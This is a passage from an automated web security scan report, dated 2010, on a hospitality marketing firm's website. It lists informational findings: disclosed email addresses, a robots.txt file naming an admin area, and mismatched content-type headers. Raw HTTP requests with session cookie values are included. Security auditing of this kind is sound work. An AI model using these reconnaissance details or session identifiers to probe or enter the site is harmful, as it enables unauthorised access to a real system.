Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 9829
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:14:38 GMT


<HEAD>

<title>Online Advertising Agency: Cendyn Full Service Internet Marketing Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants Website Design Search Engine SEO</
...[SNIP]...
<a href="mailto:info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
<a href="mailto: info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
8.15. http://www.cendyn.com/Profile/press.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/press.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /Profile/press.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/ebooker.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 19225
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:34:55 GMT

<HTML>
<HEAD>

<title>Top Internet Advertising Agency: Cendyn Online Marketing Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants Website Design Search Engine SEO</tit
...[SNIP]...
<a href="mailto: info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
8.16. http://www.cendyn.com/Profile/products.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/products.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /Profile/products.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/index.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 19895
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:15:33 GMT

<HTML>
<HEAD>

<title>Hospitality Hotel Marketing Tools Services: Cendyn Internet Online Advertising Agency Resort Casino Conference Center CVB Tourism Travel Restaurants Website Design Search Engi
...[SNIP]...
<a href="mailto: info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
8.17. http://www.cendyn.com/Profile/thanks.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/thanks.asp

Issue detail

The following email address was disclosed in the response:

Request

GET /Profile/thanks.asp HTTP/1.1
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */*
Referer: http://www.cendyn.com/Profile/careers.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Pragma: no-cache
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285773859.2; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; __utmb=91042184.1.10.1285773859; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 8065
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 15:32:17 GMT

<HTML>
<HEAD>

<title>Full Service Electronic Marketing - Cendyn</title>
<meta http-equiv="keywords" content="Full, Service, Electronic, Marketing, Cendyn">
<meta http-equiv="description" content
...[SNIP]...
<a href="mailto:info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
<a href="mailto: info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
8.18. http://www.cendyn.com/accommodations/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /accommodations/

Issue detail

The following email address was disclosed in the response:

Request

GET /accommodations/ HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 15451
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:14:43 GMT

<!--include virtual="/accommodations/_ePresence/ePresence_Header_Scripts.asp"-->

<link rel="stylesheet" type="text/css" href="/accommodations/_css/styles1.css">

<head>
<meta http-equiv="Content
...[SNIP]...
<a href="mailto:info@cendyn.com">info@cendyn.com</a>
...[SNIP]...
9. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/products.asp

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.cendyn.com

Response

HTTP/1.1 200 OK
Content-Length: 2833
Content-Type: text/plain
Last-Modified: Sat, 08 Apr 2006 16:59:01 GMT
Accept-Ranges: bytes
ETag: "b8d4f7bb2d5bc61:3da"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:15:34 GMT
Connection: close

# robots.txt

User-agent: *
Disallow: /_common/ # This is a Common virtual URL
Disallow: /images/ # Images Files
Disallow: /_backOffice+/ # This is an Admin Area
Disallow: /cendyn_newsletter/

...[SNIP]...
10. Multiple content types specified  previous  next
There are 6 instances of this issue:

Issue background

If a web response specifies multiple incompatible content types, then the browser will usually analyse the response and attempt to determine the actual MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of multiple incompatible content type statements does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

10.1. http://www.cendyn.com/Profile/eFacetime.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/eFacetime.asp

Issue detail

The response contains multiple Content-type statements which are incompatible with one another. The following statements were received:

Request

GET /Profile/eFacetime.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 9927
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:16:17 GMT

<H&trade;L><HEAD>

<title>eFacetime&trade; - Video Introduction Dales Tool</title>

<meta http-equiv="keywords" content="Online, Electronic, Brochures, Cendyn, Internet, Marketing, Online, Adverti
...[SNIP]...
<meta http-equiv="description" content="Every product or company needs a brochure to demonstrate your features and benefits.">

<META HTTP-EQUIV="Content-Type" CONTENT="text/h&trade;l; charset=iso-8859-1">
<link href="/Profile/Profile_dev/_css/styles.css" rel="stylesheet" type="text/css" />
...[SNIP]...
10.2. http://www.cendyn.com/Profile/ePlanner.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/ePlanner.asp

Issue detail

The response contains multiple Content-type statements which are incompatible with one another. The following statements were received:

Request

GET /Profile/ePlanner.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10081
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:16:20 GMT

<H&trade;L>
<HEAD>

<title>Online Electronic Brochures: Cendyn Internet Marketing Online Advertising Agency Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants Website
...[SNIP]...
<meta http-equiv="description" content="Every product or company needs a brochure to demonstrate your features and benefits.">

<META HTTP-EQUIV="Content-Type" CONTENT="text/h&trade;l; charset=iso-8859-1">
<link href="/Profile/Profile_dev/_css/styles.css" rel="stylesheet" type="text/css" />
...[SNIP]...
10.3. http://www.cendyn.com/Profile/ebrochure.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/ebrochure.asp

Issue detail

The response contains multiple Content-type statements which are incompatible with one another. The following statements were received:

Request

GET /Profile/ebrochure.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 11159
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:16:22 GMT

<H&trade;L>
<HEAD>

<title>Online Electronic Brochures: Cendyn Internet Marketing Online Advertising Agency Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants Website
...[SNIP]...
<meta http-equiv="description" content="Every product or company needs a brochure to demonstrate your features and benefits.">

<META HTTP-EQUIV="Content-Type" CONTENT="text/h&trade;l; charset=iso-8859-1">
<link href="/Profile/Profile_dev/_css/styles.css" rel="stylesheet" type="text/css" />
...[SNIP]...
10.4. http://www.cendyn.com/Profile/egiftcards.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/egiftcards.asp

Issue detail

The response contains multiple Content-type statements which are incompatible with one another. The following statements were received:

Request

GET /Profile/egiftcards.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10655
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:16:15 GMT

<HTML>
<HEAD>

<title>Full Service Electronic Marketing - Cendyn</title>
<meta http-equiv="keywords" content="Full, Service, Electronic, Marketing, Cendyn">
<meta http-equiv="description" content="Cendyn was established in 1996 as a full service electronic marketing firm.">

<META HTTP-EQUIV="Content-Type" CONTENT="text/h&trade;l; charset=iso-8859-1">
<link href="/Profile/Profile_dev/_css/styles.css" rel="stylesheet" type="text/css" />
...[SNIP]...
10.5. http://www.cendyn.com/Profile/einsight.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/einsight.asp

Issue detail

The response contains multiple Content-type statements which are incompatible with one another. The following statements were received:

Request

GET /Profile/einsight.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmc=91042184; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10784
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:37:03 GMT

<HTML>
<HEAD>

<title>Hotel eMail Contact Database Management: Cendyn Internet Marketing Online Advertising Agency Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants W
...[SNIP]...
<meta http-equiv="description" content="eInsight is a service that helps you understand who your best customers are and what their behavior is.">

<META HTTP-EQUIV="Content-Type" CONTENT="text/h&trade;l; charset=iso-8859-1">
<link href="/Profile/Profile_dev/_css/styles.css" rel="stylesheet" type="text/css" />
...[SNIP]...
10.6. http://www.cendyn.com/Profile/emenus.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Profile/emenus.asp

Issue detail

The response contains multiple Content-type statements which are incompatible with one another. The following statements were received:

Request

GET /Profile/emenus.asp HTTP/1.1
Accept: */*
Referer: http://www.cendyn.com/Profile/products.asp
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Accept-Encoding: gzip, deflate
Host: www.cendyn.com
Proxy-Connection: Keep-Alive
Cookie: __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmb=91042184.1.10.1285766082; __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 11874
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:16:19 GMT

<HTML>
<HEAD>

<title>Restaurant Catering Menu Proposal System: Cendyn Internet Marketing Online Advertising Agency Hotel Resort Casino Conference Center CVB Hospitality Tourism Travel Restaurants
...[SNIP]...
ion" content="eMenus' newly enhanced and interactive design allows users to instantly access an online web link that offers a dynamic, visually pleasing format complete with mouthwatering photos.">

<META HTTP-EQUIV="Content-Type" CONTENT="text/h&trade;l; charset=iso-8859-1">
<link href="/Profile/Profile_dev/_css/styles.css" rel="stylesheet" type="text/css" />
...[SNIP]...
11. HTML does not specify charset  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.cendyn.com
Path:   /Timesheet/

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /Timesheet/ HTTP/1.1
Host: www.cendyn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=91042184.1285766082.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=91042184.424947088.1285766082.1285766082.1285766082.1; __utmc=91042184; ASPSESSIONIDCACRSTCA=FMOEAGHBFBHLOKKGODIGIGDF; __utmb=91042184.1.10.1285766082;

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 1780
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 15:32:17 GMT
Connection: close


<SCRIPT LANGUAGE="JavaScript">
function popUp(URL) {
day = new Date();
id = day.getTime();
eval("page" + id + " = window.open(URL, '" + id + "', 'toolbar=0,scrollbars=0,location=0,statusbar=0,me
...[SNIP]...
12. Content type incorrectly stated  previous
There are 3 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

12.1. http://www.cendyn.com/_javascript/ScriptForCareers.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.cendyn.com
Path:   /_javascript/ScriptForCareers.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /_javascript/ScriptForCareers.js HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Proxy-Connection: Keep-Alive
Host: www.cendyn.com

Response

HTTP/1.1 200 OK
Content-Length: 1002
Content-Type: application/x-javascript
Last-Modified: Tue, 09 Oct 2007 17:42:06 GMT
Accept-Ranges: bytes
ETag: "b73689b59bac81:3da"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:51:30 GMT

function Validate(theForm) {

if (theForm.Name.value == "")
{
alert("Please enter your name.");
theForm.Name.focus();
return (false);
}

   var checkStr = theForm.Email.va
...[SNIP]...
12.2. http://www.cendyn.com/_javascript/ScriptForContact.js  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.cendyn.com
Path:   /_javascript/ScriptForContact.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain unrecognised content.

Request

GET /_javascript/ScriptForContact.js HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Proxy-Connection: Keep-Alive
Host: www.cendyn.com

Response

HTTP/1.1 200 OK
Content-Length: 1425
Content-Type: application/x-javascript
Last-Modified: Tue, 09 Oct 2007 17:36:45 GMT
Accept-Ranges: bytes
ETag: "45298ef69aac81:3da"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 13:51:33 GMT

function Validate(theForm) {

if (theForm.Name.value == "")
{
alert("Please enter your name.");
theForm.Name.focus();
return (false);
}
if (theForm.Company.value == "")

...[SNIP]...
12.3. http://www.cendyn.com/javascript/Scriptforindex2.js  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.cendyn.com
Path:   /javascript/Scriptforindex2.js

Issue detail

The response contains the following Content-type statement:The response states that it contains script. However, it actually appears to contain plain text.

Request

GET /javascript/Scriptforindex2.js HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Proxy-Connection: Keep-Alive
Host: www.cendyn.com

Response

HTTP/1.1 200 OK
Content-Length: 123
Content-Type: application/x-javascript
Last-Modified: Wed, 16 Jun 2010 18:48:32 GMT
Accept-Ranges: bytes
ETag: "98ecd18484dcb1:3da"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET 2.0
X-Powered-By: ASP.NET
Date: Wed, 29 Sep 2010 15:07:33 GMT

if (screen.width<=1024){
   window.location="/index_3.asp"
}
if (screen.width>1024){
   window.location="/index_3.asp"
}
Report generated by Hoyt LLC Research at Wed Sep 29 12:03:32 EDT 2010.